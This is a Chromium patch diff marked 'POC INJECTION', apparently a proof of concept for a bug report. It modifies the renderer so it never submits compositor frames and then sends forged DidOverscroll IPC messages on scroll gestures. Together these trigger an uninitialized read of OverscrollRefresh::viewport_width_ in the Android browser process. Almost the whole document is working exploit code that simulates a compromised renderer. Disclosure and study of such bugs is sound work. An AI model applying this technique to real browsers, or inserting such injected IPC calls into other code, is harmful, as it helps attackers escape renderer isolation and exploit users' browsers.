diff --git a/cc/trees/proxy_impl.cc b/cc/trees/proxy_impl.cc index a695b6476112a..8a636ecdac9ce 100644 --- a/cc/trees/proxy_impl.cc +++ b/cc/trees/proxy_impl.cc @@ -880,6 +880,13 @@ DrawResult ProxyImpl::DrawInternal(bool forced_draw) { DCHECK(IsImplThread()); DCHECK(host_impl_.get()); + // ============================ POC INJECTION =============================== + // Never submit a CompositorFrame from this renderer so the browser never + // receives RenderFrameMetadata and OverscrollRefresh::viewport_width_ stays + // uninitialized in the browser process. + return DrawResult::kAbortedCantDraw; + // ========================================================================== + TRACE_EVENT( "cc,benchmark", "MainFrame.Draw", [&](perfetto::EventContext ctx) { auto* pipeline = EmitMainFramePipelineStep( diff --git a/third_party/blink/renderer/platform/widget/input/widget_input_handler_manager.cc b/third_party/blink/renderer/platform/widget/input/widget_input_handler_manager.cc index 8416f1e776a86..e1b4f86335dbd 100644 --- a/third_party/blink/renderer/platform/widget/input/widget_input_handler_manager.cc +++ b/third_party/blink/renderer/platform/widget/input/widget_input_handler_manager.cc @@ -640,6 +640,40 @@ void WidgetInputHandlerManager::DispatchEvent( std::unique_ptr event, mojom::blink::WidgetInputHandler::DispatchEventCallback callback) { WebInputEvent::Type event_type = event->Event().GetType(); + + // ============================ POC INJECTION =============================== + // Simulates a compromised renderer attacking the Android browser-process + // OverscrollRefresh::viewport_width_ uninitialized read. + // + // Precondition arranged by the ProxyImpl hunk: this renderer never submits + // a CompositorFrame, so the browser has never received RenderFrameMetadata + // for this widget and OverscrollRefresh::viewport_width_ is still raw heap + // garbage in the browser process. + // + // The browser-side OverscrollControllerAndroid observes kGestureScrollBegin + // *before* dispatching it to us (RenderWidgetHost::InputEventObserver), so + // by the time we receive GSB the OverscrollRefresh state machine is already + // in kAwaitingScrollUpdateAck. We immediately fire + // WidgetInputHandlerHost::DidOverscroll with an x-dominant + // accumulated_overscroll and overscroll_behavior.x = kAuto so the browser + // takes the in_x_direction branch and reads viewport_width_ at + // ui/android/overscroll_refresh.cc:109-110. + if (event_type == WebInputEvent::Type::kGestureScrollBegin || + event_type == WebInputEvent::Type::kGestureScrollUpdate) { + if (mojom::blink::WidgetInputHandlerHost* host = + GetWidgetInputHandlerHost()) { + auto p = mojom::blink::DidOverscrollParams::New(); + p->accumulated_overscroll = gfx::Vector2dF(1000.f, 0.f); // x-dominant + p->latest_overscroll_delta = gfx::Vector2dF(1000.f, 0.f); + p->current_fling_velocity = gfx::Vector2dF(); + p->causal_event_viewport_point = gfx::PointF(); + p->overscroll_behavior = cc::OverscrollBehavior(); // x=y=kAuto + p->source_device = mojom::blink::GestureDevice::kTouchscreen; + host->DidOverscroll(std::move(p)); + } + } + // ========================================================================== + if (base::ShouldRecordSubsampledMetric(0.1)) { UMA_HISTOGRAM_ENUMERATION("Input.Blink.DispatchEvent.Type", event_type); }